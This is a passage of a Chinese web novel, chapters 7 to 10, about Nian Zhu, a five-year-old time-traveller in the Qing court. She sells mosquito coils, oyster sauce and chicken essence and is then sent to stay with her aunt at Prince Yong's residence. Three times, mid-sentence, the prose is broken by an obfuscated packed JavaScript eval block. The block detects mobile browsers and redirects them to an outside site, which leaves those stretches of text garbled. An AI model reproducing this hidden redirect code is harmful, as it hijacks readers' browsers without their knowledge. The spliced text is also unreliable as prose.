“我很好奇,你一五岁的小孩,如何会猜到了我的意图?” “回王爷的话,我是通过姑姑的话猜的。”年珠知道大名鼎鼎的四爷可不是那么好忽悠的,脆生生道,“我虽只去雍亲王府看过姑姑一次,但从姑姑的衣食起居和言语中知道您对她极好的。” “将心比心,就算是为了姑姑,您也不会那样对大伯的。” “所以我这才斗胆猜测……” 她这马屁拍的高明,话里话外的意思说年若兰对她一个小娃娃都说起了四爷的好。 只可惜,她并未没有从四爷面上看到些许喜色,反倒是听四爷夸赞道:“从前我就知道亮工年幼中举,年纪轻轻被皇阿玛点为同进士,少年得志,入朝为官不久就得皇阿玛重用。” “没想到他的女儿竟也与他一样聪明过人,胆大心细。” 正当年珠准备自谦两句时,却又听到四爷问道:“不知七格格可许了人家?” 这话说的年珠浑身一个哆嗦。 四爷要做什么? 他这是要做什么! 但年珠发现四爷这话是看向年遐龄问的,她一个小娃娃根本没机会插嘴。 好在年遐龄道:“回王爷的话,珠珠年幼,尚未订亲。” 年珠悬着的一颗心这才微微放下来些。 其实如今并不是所有的八旗女子要落选之后才能参加选秀,像皇上特赦、选秀经过相关部门核实和认可,有正式婚约、后族近支或母族系宗室觉罗女者等都不用参加选秀的。 托她额娘的福,她好不容易不用参加选秀,可不像被四爷随手一指,胡乱指了一门亲事。 四爷颔首,似方才不过随口一问,继而又叮嘱起年遐龄要好好保重身子之类的话。 年珠很快被嬷嬷带了出去。 她心里只觉得七上八下,她觉得方才四爷那句话……好像不是随口一问的意思。 *** 就在小小杂货铺推出的蚊香风靡整个京城时,却也有不少“赝品”层出不穷。 想当初年珠为了这小小蚊香可是煞费苦心,虽说她知道蚊香的制作方法,但如何让蚊香烧得更持久,味道更好闻……她还是费了不少心思的。 所以她那间小小的杂货铺一股脑推出十多种类型的蚊香来,有茉莉花香的,有桂花香味的,甚至连蚊香托架都做了十多种,有物美价廉光一个底托的,有制成精美香炉形状的蚊香架……那叫一个应有尽有。 但俗话说得好,哪里有商机,哪里就有商人。 当初为人津津乐道的杂货铺门口已冷冷清清。 年珠认真算了算,发现她只赚了……三两银子而已。 觉罗氏听到这数额时,忍不住笑出声来。 “额娘,您笑什么?”年珠手中捏着三两银子,义正言辞道,“万事开头难,许多一开始都不容易,我还赚了三两银子呢。” 虽说这银子还不比她过年赏人时多,却是她辛辛苦苦筹划许久赚来的:“虽说如今京城上下不少铺子里都有卖蚊香的,但众人一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172553|150510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提起蚊香来,首先想到的就是我拿小铺子。” “正因我的东西好,所有不少人才争相模仿,您说是不是这个理?” 觉罗氏笑道:“是,是,咱们珠珠说的极是。” 她一把将年珠搂进怀里,笑道:“毕竟我一开始可是做好你要赔钱的准备的,就连你大姐姐当年刚做生意时也是只赔不赚。” “我听聂乳母说这些日子你闲来无事时常将自己关在书房里捣鼓什么,可是又在捣鼓什么新东西?” “你说出来给我听听,兴许我也能帮你出出主意!” 年珠却不答应,她还想着到时候再次一鸣惊人呢:“额娘,您就等着瞧吧,不出半年,我定要赚的盆满钵满!” 接下来几日里,她将自己关在书房里,是大门不出二门不迈,叫人一堆堆采买牡蛎回来。 这一日,年珠将取好的牡蛎肉下锅,闻到香味后则命聂乳母一直拿文火炖着:“乳母,我先去看看祖父,您守着这锅子,一直用文火将汤汁炖干后再端下来。” “您切记要不停的搅拌,可别炖糊了。” 聂乳母自是忙不迭答应下来。 年珠万万没想到,她前脚刚走,后脚就有个畏手畏脚的身影溜进了小厨房。 年珠刚到正院,就见年遐龄正在院子里修剪花木。 年珠甜甜道:“祖父。” 说了几句话后,她又道:“祖父,大伯那边有消息了吗?” 她担心自己的出现会改变历史,所以对朝中的大事小事都很上心,见年遐龄一副不欲多说的样子,又道:“祖父,您别忘了,连雍亲王都夸我聪明呢,当初若不是我替您分析一二,您要一直等到雍亲王到访才能知道真相。” “况且,您不是常说孩子从小就要培养吗?您与我说的越多,保准我就会越聪明……” 年遐龄那一众孙儿中,就没谁像年珠这样对家中之事上心。 他老人家微微叹了口气,就道:“皇上当日命左都御史田从典等人前去彻查此事,已将此事查清楚了。” “是凤阳知府蒋国正知晓你大伯的性子,故意将亏空的三千七百两银子混进朝廷给百姓加恩豁免的钱粮里,偏偏你大伯并未彻查此事,在账本上签了字。” “虽说这件事并非他所为,但蒋国正是他下属,他也有失察之过,已被皇上勒令革职。” 年珠一点都不意外,甚至年希尧未被判个从犯之罪,已是万幸:“那岂不是大伯没几日就要回家了?” “是。”年遐龄点点头,却很快意识到不对,“珠珠,你怎么看着还挺高兴的?” 年珠笑道:“祖父,我虽与大伯相处的时间不长,却也知道大伯是什么性子,他啊,的确不是当官那块料。” “就说前些日子他休沐在家这段时间,我可未曾听过他提起安徽政事,反倒日日念叨着什么梅文鼎,研究他那些测算仪。” 她都没好意思说,一开始她还以为梅文鼎是年希尧在安徽养的小妾呢,后来听郭络罗氏说起,这人是什么算学家。 郭络罗氏甚至说比起这梅文鼎来,她甚至宁愿年希尧多养几房小妾! “你说的也有道理。”年遐龄微微叹了口气,愁眉苦脸道,“当年他年幼时就一心只有算学,也幸好旗人不用科举,能以笔帖式直接当官,他这才勉强入朝为官。” “后来他之所以老老实实当官,是因为你阿玛过于出众,毕竟没几个兄长愿意被自己弟弟压下一头!” 但后来随着年羹尧的官越当越大,年希尧见自己拍马都追不上,隐隐也有摆烂之势。 年珠瞧见头发花白的祖父一口接一口的直叹气,想了又想,还是忍不住开口道:“那祖父,大伯什么时候能回来?” “大伯擅长算学,若他回来,就能帮我理一理账本,这样我就不必请账房先生,又能多赚几两银子了呢!” 8. 第 8 章 年遐龄一向对年希尧寄予厚望,如今见大局已定,也只有叹气的份儿。 “想必如今你大伯已接到了消息,已在回京的路上。” “不过就你那小铺子,叫你大伯替你算账,还真是大材小用!” 年珠笑道:“虽说那小铺子如今赚的钱是少了点,但所有的参天大树都是从小树苗长起来的,您且等着瞧吧,到时候我定会靠着这铺子赚的是盆满钵满!” 年遐龄也跟着笑了起来:“那我等着瞧好了。” 年珠惦记着小厨房里的牡蛎,又劝慰祖父几句“儿孙自有儿孙福”后,就回去了。 若说她觉得年家有哪里好,最好的莫过于长辈开明——自她开铺子至今,所有人都在鼓励她,很少有人给她泼冷水,说女子不该做什么。 谁知年珠还未回去,就有个乳母匆匆忙忙出来寻她。 “格格,不好了,不好了,您快回去吧。” “五公子去了小厨房!” 哦,年珠这才想起来,年家上下也不是没人与她泼冷水,她的五哥年寿可没少笑话她。 觉罗氏通过生下两子一女,老四年兴与老五年寿,年寿今年虽只有七岁,但早在他四岁那年就搬到了外院,饮食起居都不由觉罗氏负责,甚至很少有机会进内院。 按照道理来说,远臭近香,这兄妹两人既是从同一个娘胎里出来的,又是年纪相仿,应该是感情亲厚。 可偏偏这兄妹两人一见面就开始掐架,用觉罗氏的话来说:“……上辈子这两个孩子只怕是仇家。” 但觉罗氏不知道的是,她三个孩子中,唯有年寿最像她——刀子嘴豆腐心,性子要强。 正因如此,不明白阿玛为何喜欢妹妹不喜欢他的年寿每每看到年珠时,那叫一个眼睛不是眼睛鼻子不是鼻子,当日他听说年珠要开门做生意后,还不忘嘲讽年珠一顿。 “就年珠也想学人做生意?她整日不是吃就是睡,等到太阳晒屁股了还在呼呼大睡,能做什么生意?可别把她那点私房银子赔光了!” 年珠顿时是心里一紧,快步道:“好端端的,五哥怎么又来了?” 乳母提醒她道:“格格,您忘了,每逢初一十五公子们是要进内院给福晋请安的……” 年珠想着小炉子上炖的“蚝油”,急的加快了步伐。 可她紧赶慢赶,走到小厨房门口时,正好看到了年寿正举着砂锅咕噜噜喝蚝油呢。 她气的大喊一声:“年寿,你这是做什么!” “你信不信我告诉额娘,要额娘把你揍一顿?” 聂乳母连忙上前解释道:“格格,奴婢没能拦住五公子……” 年寿这才恋恋不舍放下锅,露出一张与觉罗氏有五六分相似的小脸来,他是半点没将年珠放在眼里的,甚至还回味地舔了舔嘴角——就年珠这小告状精,肯定又要去找额娘告状了,不过那又怎么样?东西他都已经吃下去了,不过是挨顿打罢了,额娘还能叫他吐出来不成? 年珠瞧他这副死猪不怕开水烫的样子,先是怒容满面,继而却像是想起什么似的。 “五哥,这东西好吃吗?” “好吃!”年寿下意识点点头,道,“这是什么东西?又鲜又香的,是鸡汤吗?” 说着,他自顾自摇头道:“这东西浓浓的,应该不是鸡汤。” “不对,年珠,你怎么没有同我算账?你,你……该不会是因为我先前笑话你,故意设局陷害我吧?我要去找额娘去……” 他虽然喜欢招惹年珠,但他就像猫狗大战中的狗,既不是猫的对手,又喜欢撩拨,几乎每次都是惨败而归。 年珠压根没将哭着喊着跑去告状的年寿放在心上,而是深深吸气嗅了嗅——满屋子的香气! 她转而又看向聂乳母,问道:“乳母,您觉得这蚝汁熬的怎么样?” “熬得很好,五公子一进来率先就问奴婢炉子上熬的是什么,那真真是满屋子飘香!”聂乳母长这么大很少闻到这样香得东西,简直比锅子里放了一百只老母鸡还要香,“奴婢与五公子说了这锅里头的东西不能动后,五公子是更来劲呢。” “这锅子里的汤汁足足有半锅了,五公子也不怕烫不怕撑,竟一股脑都喝完了。” “奴婢看啊,他这晚饭是铁定吃不下的!” 身为一小吃货,年珠自然知道同为吃货的年寿嘴巴有多挑,当然,其中很大一部分原因是因为年家好吃的实在太多。 她笑道:“若换成平日里,五哥想要捣乱,大概会一脚将那锅子踹翻,今日他将这蚝汁吃的一滴不剩,可见味道是很不错的。” “原来这东西叫蚝汁?”聂乳母好奇道,“可真香啊,若将这蚝汁拿到铺子里去卖,铺子里的生意定能红红火火。” 年珠也是这般想的,毕竟后世的蚝油可是家喻户晓,做饭必备。 但她也知道,单一的蚝油就像蚊香一样,容易被模仿,若想叫旁人难以模仿,得多下点苦功! 接下来几日里,年珠将自己关在小厨房里,又是加盐又是加糖,将生粉、葱、姜、黄酒等东西都加了个遍,做出来的蚝汁不说与后世的蚝油一模一样,大概也有八九分相似。 熬蚝汁时,她闲着也是闲着,便趁此机会又捣鼓出了鸡精。 鸡精做起来可比蚝油麻烦多了,鸡骨架与鸡胸脯肉洗干净,加入葱姜八角等佐料炖煮,直至鸡胸脯软烂,继而捞出,然后鸡架继续炖着,她则开始炒鸡脯肉,一直炒到颜色变深,炒到手臂发酸,这才停手。 然后年珠又炒了鸡蛋碎备用,紧接着将鸡蛋碎和鸡脯肉加入炖的只剩下一小部分的鸡骨汤,继续翻炒后,就成了古代简易版的鸡精。 年珠给它取名叫鸡汁。 等着年珠研制出这两样东西后,陷入了沉思之中,忍不住嘀咕道:“我看那些小说和电视剧里,女主们一穿越动不动就开饭馆赚钱,可见她们赚的都是辛苦钱,也太累了点!” 忙活了两三日,她只觉得自己手臂都抬不起来了。 好在她的付出也是值得的,她院里的几个厨娘对就蚝汁和鸡汁是赞不绝口,甚至还有人说有了这东西,她们都能进宫当御厨了。 这话,年珠可不敢信。 她带着东西就去找觉罗氏了。 年珠万万没想到,都过去几天了,年寿还在觉罗氏跟前撒泼打滚要觉罗氏同她好好算账:“……定然是珠珠故意害我的,额娘,您不知道,从我喝下她那东西后,这几天不管吃什么都没胃口。” “额娘,我会不会饿死啊?” 觉罗氏虽是管家的一把好手,但对三个孩子却十分溺爱,不过她也没有偏袒过谁,如今手中的算盘拨得哐哐直响,连头都没抬。 “当日我就差人给你请了大夫回来,大夫说你身强体壮,比寻常孩子身体都要好,并无任何不对劲的地方。” “你要是还不放心,我就叫人拿了对牌,给你请个太医回来!” 年寿没有接话,显然在思考这件事的可行性。 “额娘,五哥。”年珠含笑走了进去,道,“五哥,我知道你这是怎么一回事……” “怎么回事?”觉罗氏抬头看了她一眼,好奇道,“难不成你又有什么办法?” 年珠正色道:“孩子不吃饭,多半是不饿,饿几顿就好了!” “你……”年寿气的不行,没好气道:“年珠,我可是你的亲哥哥,你怎么能这样子!” 年珠一本正经道:“正是因为你是我的亲哥哥,所以我才给你出主意啊!” 毕竟她身子里装的是成年人的芯子,可不会真与一七岁小娃娃一般见识的:“五哥,你知道你那日喝的是什么吗?可是整整一筐子牡蛎熬的汤啊,鲜美无比!” “有那一大碗牡蛎汤珠玉在前,你自然吃什么都觉得没有滋味。” 说着,她便将带的两个琉璃瓶拿了出来:“正好,你来帮我试一试这两样东西味道如何。” 年寿与年珠和天底下所有的兄弟姐妹一样,平日里吵吵闹闹,却也没忘记他们是血缘至亲。 正好年寿也好奇年珠捣鼓的是什么东西,便尝了两口。 不尝不知道,年寿不过尝了一口,好吃的他眼睛都眯了起来:“珠珠,这是什么东西?味道真是不错。” 年珠一一解释,又道:“……蚊香是夏日必备家家户户都需要的东西,但蚝汁与鸡汁却不是,因这两样东西做法繁琐,成本太高,售价自然而然不会便宜。” “我先以蚊香叫我的杂货铺家喻户晓,然后再推出蚝汁与鸡汁,前来买东西的百姓定会多上许多。” “众人口口相传,生意定会蒸蒸日上的。” 说着,她还有意无意看了年寿一眼,道:“到时候就再没人会笑话我忙活一顿只赚了三两银子!” 年寿就是当初那个笑话年珠忙活一顿只赚了三两银子的那个人,如今他更是不服气道:“哼,你想的倒是挺好,银子是那样好赚的吗?等你把银子赚到手再说吧!” 倒是觉罗氏笑道:“珠珠你啊,果然是所有孩子中最像你阿玛的那个。” 要知道年羹尧有的不仅是过人的才能和聪明的才智,还有一副好皮囊。 要不然,当年汉军旗的他可娶不到纳兰·容若的女儿! 年羹尧的一众孩子中,继承了他聪明才智的没有他生的好,继承他相貌的没继承他的才智……唯有年珠,模样出众不说,更是聪明过人。 与年珠等人想的一样,蚝汁与鸡汁一经推出,不出小半个月就风靡整个京城。 当然,也有不少人见一间小杂货铺生意好的出奇,想要模仿一二。 可他们发现不管怎么捣鼓,要么是成本太高,要么是味道差了些。 等着年希尧回到京城时,年珠的书桌上已累着厚厚一摞账本了。 比起长吁短叹的年遐龄和郭络罗氏等人来,年希尧却像没事人似的,甚至道:“……祸福相依,如今我赋闲在家,也未必是坏事,正好我也能抽出时间做些我喜欢的事情。” “朝中局势动荡,我也不像二弟一样擅长钻研,兴许还是好事呢。” 话虽如此,但他自小接受的教育是读书为官为大清做贡献,从前的他时常被政务压得喘不过气来,原以为自己被革职在家会雀跃不已,不曾想心里还是有几分失落的。 可很快,年珠就找上门来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172554|150510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她一开口就道:“大伯,您莫要将祖父那些话放在心上,他老人家一辈子东奔西走,在朝为官,将大清的兴衰昌盛看的比自己性命还重要,只觉得您这被革职了,人生就失去了意义。” “殊不知,人这一辈子还有很多有意义的事情可以做,兴许有朝一日您能成为像梅文鼎一样厉害的人呢!” 年希尧顿时就高兴起来:“珠珠,那就借你吉言了。” 年珠又是好一通吹捧,当然,也不全然是吹捧,她可是知道历史上的年希尧除去当官,也是个很厉害的人。 她不过将未来的事提前那么一丢丢而已。 她见着年希尧被自己哄的满脸笑容后,又道:“……可有些时候人若是一直闲着也挺无聊的,大伯,要不这样吧?我不如聘您当我铺子的账房?” 她豪气万丈伸出三根手指头来:“一个月给您三两银子!” 虽说她刚开门做生意不久,却也知道账房这个职位是很重要的,得是自己信得过的人,所以她就想到了年希尧。 在年希尧手上账目绝不会出错不说,更重要的是他是自己的大伯,绝不会贪自己一分一毫! “你说多少?”年希尧下意识以为自己听错了,毕竟他随便买一本古籍都要大几百两银子,“三两银子?” 年珠点点头,又道:“大伯,您也别嫌少。” “虽说读书为官是为老百姓谋福利,但当我的账房先生一样是为老百姓谋福利,只有您在我身后,我后顾无忧了,才能捣鼓出更多物美价廉的东西来。” “我也知道铺子里的账册有些乱,若环衬旁的账房先生,定每日要将所有的时间都耗在上面,但您的本事我却是知道的,想必每日只要抽出那么一点时间来整理账册就够了……” 有道是千穿万穿马屁不穿,到了最后,年希尧到底还是答应下来——他连三两银子的月钱都不肯收。 “伯父,这样可不行。”年珠却是煞有其事,一本正经道,“虽说咱们是至亲,但一码归一码,我怎么能白白占您便宜呢……” 年希尧:“……” 难道一个月三两银子聘请前朝中二品官员,就不是占便宜了? 他摆摆手道:“罢了,你若要给,那就给吧。” 年珠笑道:“好嘞,您若是想要预支工钱,只管与我说一声就是了。” 年希尧不愧是前·二品大员,不仅帮年珠料理好了账册,也提出了很多有实用的意见。 一时间,那间小小的杂货铺是家喻户晓,整个年家都高兴不已,就连年寿明面上对年珠是字字句句唱衰,但心里也觉得他这懒妹妹挺厉害的。 这一日,四爷早早回到雍亲王府,他连衣裳都没来得及换,就去了听雪轩。 夕阳西下,年若兰正带着丫鬟婆子在院子里……捉雪球。 不过两三个月的时间,当初小小的雪球就长大了许多,虽样子没怎么变,还是胖嘟嘟,很好看的样子,但比起当初来却是更调皮。 这不,它趁丫鬟不注意,就跳到了池塘里。 年若兰指挥着小太监将它捉上来,别看雪球胖嘟嘟的,但却是一只又胖又灵活的狗儿,这里跑跑那里躲躲,闹得听雪轩是人仰马翻。 四爷站在院子门口,却并未进去。 如今朝中局势是愈发严峻,八阿哥等人明里暗里小动作不断,他心急如焚不说,还得时常朝圆明园跑,装出一副与世无争的样子。 圆明园是当初皇上赐给他的院子,清幽雅致,但他在圆明园,心里根本静不下来。 如今站在听雪轩门口,看的满脸焦急的年若兰,心里这才微微好受些——短短三两个月,年若兰身子已好了不少,脸上隐隐也有了些笑容。 还是年若兰眼尖,看到了四爷。 她快步上前道:“王爷回来了怎么也不说一声,站在门口做什么?” 她眼里噙着欢喜的笑,又道:“王爷这风尘仆仆的,一看就是刚从圆明园回来,您可是饿了?妾身一直叫小厨房备着您爱吃的炙鹿肉,您现在可想吃?” 四爷握着她的手就朝里走去:“你看着安排就好。” 几日没回来,四爷问的第一件事就是年若兰的身子情况。 年若兰笑道:“王爷放心,妾身这几日身子还不错,连胃口也好了许多,若说有哪儿不好,就是雪球实在太过于顽皮!” “方才您也看到了,它哪里能叫狗儿?分明就是只泼猴!整日将妾身气的够呛……” 她正说着话,秦嬷嬷就带着人将一道道菜端了上来。 年若兰率先给四爷夹了一筷子炙鹿肉,轻声道:“王爷您尝尝看,这鹿肉里加了风靡京城的蚝汁与鸡汁,味道更胜从前,说是排队要排许久才能买得到。” “妾身今中午用了加了蚝汁与鸡汁的菜,味道果然更好了。” 因年珠打算来日凭着这小铺子在年羹尧跟前一鸣惊人,所以除去知道她是这铺子背后主人的人并不多。 四爷这几日虽不在京城,但紫禁城上下、京城内外,却没有什么事情能瞒得过他的眼睛。 他笑道:“兰儿,你可知道这蚝汁和鸡汁是谁研制出来的?” 9. 第 9 章 年若兰摇摇头,道:“妾身不知。” 因生母早逝,年遐龄四处为官,她自小与年羹尧最为亲近,也是有几分见识的:“王爷为何这样问?难道这人妾身认识?” “就是你那侄女,年羹尧的女儿年珠。”四爷尝了一筷子炙鹿肉,只觉味道的确比从前强上几分,“年珠小小年纪就聪明过人,最像年羹尧,若他是个男儿,来日年家只怕更上一层楼。” 提起这个香香软软的小侄女,年若兰也跟着笑了起来:“珠珠这孩子的确是聪明过人,招人喜欢。” “我也是听人说过这蚝汁与鸡汁的,说是各大酒楼、杂货铺皆纷纷模仿,但做出来的东西味道总是差了不少。” “寻常铺子卖东西,买的越多则越便宜,可她倒好,买的越多却是越贵。” “一开始我还以为这是哪家商行为夺人眼球,故意想出来的法子……” 但这背后的主子是年珠,一切就说得通了。 毕竟年珠怎么会缺钱?想必她这样做定是想叫寻常老百姓也买到蚝汁和鸡汁,她可是听人说过,说是雍亲王府买这两样东西都要排队呢! 四爷却陷入了沉思——这小姑娘小小年纪聪明过人且心思纯善,也未定亲,兴许能给自己当儿媳妇! 比起他那些兄弟来,四爷不仅儿子少得可怜,就连女儿也没几个,如今偌大一个雍亲王府,除去三个儿子,也就一个闺女而已,这闺女还嫁了人! 故而四爷内心也是盼望着年若兰给他她添个闺女的:“我瞧着你对你那小侄女倒是喜欢的很,只怕我明日又是动身去圆明园,也无人陪你。” “要不我差人将那孩子接过来陪你几日?” 年若兰心里自然是愿意的,但面上却有几分迟疑:“这样会不会误了王爷的事儿?” 四爷直说不会。 如今他明面上已与年家彻底决裂,甚至马上中秋将近,年家连节礼都没送来。 八阿哥等人最清楚他的性子,以他“锱铢必较”的性子,又怎会轻而易举算了?将年家一得宠的小格格接到王府中养着,似乎也没有说不过去的地方。 就像当年皇上接了固伦淳禧公主进宫,所有人明面上都说她好福气,但与家人分离、远嫁蒙古,其中酸甜苦辣唯有自己清楚。 他更是打听到他这位皇姐曾说过:“……若有来生,只愿投胎于平常百姓之家。” *** 不过两日,年珠就听说了这消息。 这时候的她正踮着脚凑在年希尧身边看她的大伯拨算盘珠子,心里正是啧啧称奇——这天底下竟然有人算盘珠子拨的这样快?还一点错处都没有! 随着年遐龄的到来,年珠脸上的笑容是消失的无影无踪。 “雍亲王为何要接我去王府?难道真是陪姑姑这样简单?” “祖父,那我去了雍亲王府,还能日日出府去看看我那小铺子生意如何吗?” “若是雍亲王府有人欺负我,那该怎么办?” 年遐龄:“……” 年希尧:“……” 他们父子两人只觉得年珠有些时候过于聪明,可有些时候与一五岁小孩没什么区别。 年遐龄正色道:“如今你要担心的可不是这些,而是如今我们年家已经彻底得罪了雍亲王,此乃人人都知道的消息。” “虽说你姑姑在雍亲王府,却也不能时时刻刻护着你,高门中多的是捧高踩低之人,难免会有人变着法子欺负你!” 年若兰的性子,他这个当父亲的很清楚,宁愿自己吃亏都不愿叫四爷为难,到时候只怕委屈了年珠。 “应该不会吧?”年珠可记得四爷几个儿子,甚至连一众皇孙名字一水都叫“弘X”,唯独福宜表弟的名字特殊,她想也不想就知道这是爱屋及乌,“就算是看在姑姑的份上,雍亲王也不会对我不好的。” 她斟酌片刻,又道:“就算雍亲王真对我不好,也只是装装样子而已。” “至于旁人若想欺负我……也得看看自己有没有这个本事才行!” 年珠倒是乐观的很,但她万万没想到觉罗氏听闻这消息后,一向要强的觉罗氏是泪水涟涟。 甚至一向与她不对付的年寿都忧心忡忡的,给她送来了防身武器——一把没开光的匕首。 用年寿的话说:“珠珠,若有人要欺负你,你就把这把匕首拿出来吓唬吓唬他们!” 年珠很是无语。 但她难得见年寿对她如此大方,还是将匕首收了起来。 “额娘,五哥,我不过是去雍亲王府住些日子,又不是去战场打仗?你们有什么可担心的?” “再说了,就算雍亲王明面上再怎么与咱们家不对付,难道还会冲我一个五岁小娃娃下手?这事儿要是传出去,谁敢再推举雍亲王当太子?” “我看啊,雍亲王接着我去王府的意思就像五哥送我的这把匕首——震慑吓唬人的成分居多!” 因她明日一早就要去雍亲王府,她更担心的是自己那生意红火的小铺子,对着觉罗氏是嘱咐又嘱咐,这才乖乖回去睡觉。 翌日一早,年珠就在年家所有人期待不舍的眼神中上了马车。 对于自己此次的雍亲王府之行,年珠隐隐有几分期待的同时,还带着势在必得的决心。 这些日子她想了又想,觉得自己还是与四爷打好关系比较好——这样来日她给年家人求情时,兴许四爷能看在她的面子上从轻发落。 年珠高高兴兴就到了雍亲王府。 如今已至夏末,年若兰所居的听雪轩比起前些日子来景致大有不同,花圃里的芍药、绣球换成了菊花、美人蕉等等花卉,半点没有因秋日即来略显萧肃。 年珠一进门就看到正在院子里等着自己的年若兰,脆生生道:“姑姑。” “珠珠。”正抱着雪球的年若兰面上含笑,轻声道,“你来了。” 因现在两家关系尴尬的原因,年珠不仅不能前来探望年若兰,甚至连年若兰的消息都无法探听。 她熟稔牵起年若兰的手,道:“姑姑,不过一两个月没见,您脸色好看了许多。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172555|150510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这次我来雍亲王府,还给您带了不少好东西了,有健脾开胃的山楂丸、今日大厨房刚出锅的茯苓糕,还有好多好多好吃的,都是您从前未嫁人时爱吃的。” “对了,姑姑,我这些日子住在哪里?我要乳母她们先帮我把东西搬过去!” …… 年若兰是个很聪明的人,聪明到纵然四爷没与她说过什么,她隐约也猜测到四爷在这场夺嫡大战中想要护着他们年家人。 可年珠不是非接到雍亲王府不可。 她原以为从未离开过年家的年珠会哭哭啼啼的,没想到这小娃娃却是一脸雀跃。 她带着年珠去了她命人准备好的屋子:“……因事出突然,许多东西准备的匆忙,你且先住下,若有什么缺的少的或喜欢的,只管与我说就是了。” “珠珠,昨日我也劝过王爷,但王爷并未松口,你放心,等着过些日子我就与王爷说一声,将你送回去。” 身为四爷的枕边人兼心上人,她自知道在四爷心里,年珠就与雪球无异,年珠的高兴与否并不重要,只要她高兴就够了。 四爷一贯是这般性子。 “姑姑,为什么您这样急着要将我送回去?”年珠身子里装的是成年人的芯子,可不会哭着喊着要额娘,直道,“我与额娘他们都说过了,王爷事忙,甚少有时间陪着您,我能陪在您身边与您说说话解解闷也是好的。” 说着,她更是环顾屋内一圈道:“姑姑,这房间真好看,我很喜欢。” 屋内摆着黄花梨独板围子罗汉床,床上挂着鎏金海棠花玳瑁纱帐,沉香木雕松柏梅兰纹屏风、百宝缠枝牡丹嵌柜……一看就知道年若兰为了这屋子费了不少心思。 年若兰,真是个好姑姑啊! 年若兰这才放下心来,叫年珠先休息片刻,她则要去给福晋请安。 年珠则逗弄起雪球来。 期间,她也没忘朝小丫鬟偷偷摸摸打听道:“……王爷什么时候才能回来?” 小丫鬟自然是不知道的。 年珠却是怅然若失。 也幸好她今年只有五岁,若年纪再大些,只怕就会被人怀疑意图勾、引四爷。 约莫小半个时辰后,年若兰就回来了。 年珠敏锐发现年若兰眼眶红红的,她着急道:“姑姑,您怎么了?方才您出门时还好好地,怎么一回来就成了这样子?” 不仅是年若兰,就连她身边的秦嬷嬷等人脸色都不大好看。 “没事儿。”年若兰摸了摸年珠的小脑袋,强撑着笑道,“这快秋天了,路上风大,方才我回来的路上叫风沙迷了眼睛,过一会就好了。” 年珠:“……” 她只是小,不是傻,难不成这秦嬷嬷这些人都叫风沙迷了眼睛? 但她想着觉罗氏与她说的话,说是雍亲王府虽女眷不多,但内宅却也是错综复杂,便没有继续追问,直道:“姑姑,那您快进去歇一歇,这次我来雍亲王府还带了两个厨娘,是阿玛从四川送来的,今中午您也尝尝她们的手艺好不好?” 10. 第 10 章 年珠这次虽只是来雍亲王府小住几日,但因归期未定,所以带了十多个乳母丫鬟过来。 幸好年若兰得宠,听雪轩位置宽敞,要不然还真不一定住得下。 年珠借着前去小厨房指点一二的由头,很快找到了秦嬷嬷,道:“……嬷嬷,姑姑到底怎么了?” 秦嬷嬷虽不太喜欢年珠,但她却对年若兰忠心耿耿,再加上方才是真真气急了,也就不管不顾将这件事的来龙去脉道了出来。 “侧福晋之所以嫁进王府,嫁给王爷,那可是皇上的意思,福晋她们倒好,见着侧福晋得宠,变着法子折腾她。” “七格格您是不知道,今儿众人前去给福晋请安时,那李侧福晋说什么?她分明知道侧福晋身子尚未大好,却还哪壶不开提哪壶,故意说她认识一高僧,能做法叫福宜小阿哥转世投胎到侧福晋肚子里。” “哼,她哪里有那本事?早先她虽得宠,替王爷生下了三子一女,唯有一子一女活下来,她……她分明就是故意往侧福晋心窝里戳刀子,她区区一知府的女儿,算什么东西!” 自穿越之后,年珠这才知道野史上很多东西当不得真,比如她的姑姑并不像很多人以为的那样跋扈,反倒温柔和善、谦虚谨慎、克尽敬慎。 又比如,四爷身边的女人虽比不上他老子和儿子数量庞大,可大多也不是省油的灯。 就说李侧福晋这番话吧,就算得宠如年若兰找四爷告状,李侧福晋也会一脸无辜说什么:“……王爷,妾身是当真将年侧福晋当亲妹妹一样的,正因妾身知道年侧福晋舍不得故去的福宜,才四处打听的。” 这话一出,就连四爷都不好说什么。 后宫和内宅之中,多的是这些杀人不见血的软刀子。 “秦嬷嬷。”年珠终于忍不住打断了喋喋不休的秦嬷嬷,低声道,“姑姑是什么性子,您清楚,我也清楚,为了不叫王爷为难,这些事姑姑肯定不会与王爷说的。” 她抬头看着秦嬷嬷的眼睛,正色道,“但有些话姑姑不好说,我这个五岁的小娃娃却没什么不好说的。” “这样一件小事虽不至于叫王爷对李侧福晋厌弃,但王爷是多聪明的人呀,若这样的事情多了,王爷定会不高兴的。” 秦嬷嬷对年珠的不喜顿时就淡了几分,惊愕道:“七格格,您要去找王爷告状?” 